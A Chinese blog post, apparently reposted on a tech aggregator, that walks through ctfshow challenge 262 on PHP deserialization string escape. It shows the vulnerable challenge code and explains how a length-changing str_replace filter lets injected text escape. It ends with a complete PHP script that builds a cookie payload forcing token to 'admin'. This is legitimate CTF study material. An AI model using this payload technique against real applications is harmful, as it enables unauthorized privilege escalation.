IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> php反序列化之字符串逃逸 -> 正文阅读

[PHP知识库]php反序列化之字符串逃逸

最近回顾了几道php反序列化的基础题,就随便写一类个人比较中意的题型——字符串逃逸。

这里以ctfshow262为例。
有两部分源码
index.php

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
highlight_file(__FILE__);

message.php

<?php
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

大致流程

重点在后者代码。传入cookie:msg,反序列化实例化后判断token是否等于admin。其实看到这题源码的第一反应是直接建个新类让token='admin'即可绕过拿到flag。这里另一种解法即字符串逃逸问题。
这里看两段序列化串:

O:7:“message”:4:{s:4:“from”;s:1:“a”;s:3:“msg”;s:1:“b”;s:2:“to”;s:4:"fuck";s:5:“token”;s:4:“user”;}
O:7:“message”:4:{s:4:“from”;s:1:“a”;s:3:“msg”;s:1:“b”;s:2:“to”;s:4:"loveU";s:5:“token”;s:4:“user”;}

假如传入的参数为a、b、fuck,在代码中str_replace('fuck', 'loveU', $msg)的影响下,上述字符串长度不匹配出现错误。后者比前者多一个字符。前s:4,后却为5个字符,多余出的一个字符就可以形成一个字符串逃逸。假如我们输入30个fuck,那么就可以逃逸30个字符。根据这个思路就可以造出payload了。我们要逃逸出的字符为";s:5:"token";s:5:"admin";},其长度为27,那么前面再加上27个fuck就可以形成逃逸了。

payload

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

function filter($s){
    return  str_replace('fuck', 'loveU', $s);
}

function mult($str,$num){
    $res='';
    for($i=1;$i<=$num;$i++){
        $res=$res.$str;
    }
    return $res;
}

$f = new message('a','b',mult('fuck',27).'";s:5:"token";s:5:"admin";}');
$fs = serialize($f);
$f2 = filter($fs);
echo base64_encode($f2);
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-11 17:18:30  更:2021-10-11 17:19:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 13:30:46-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计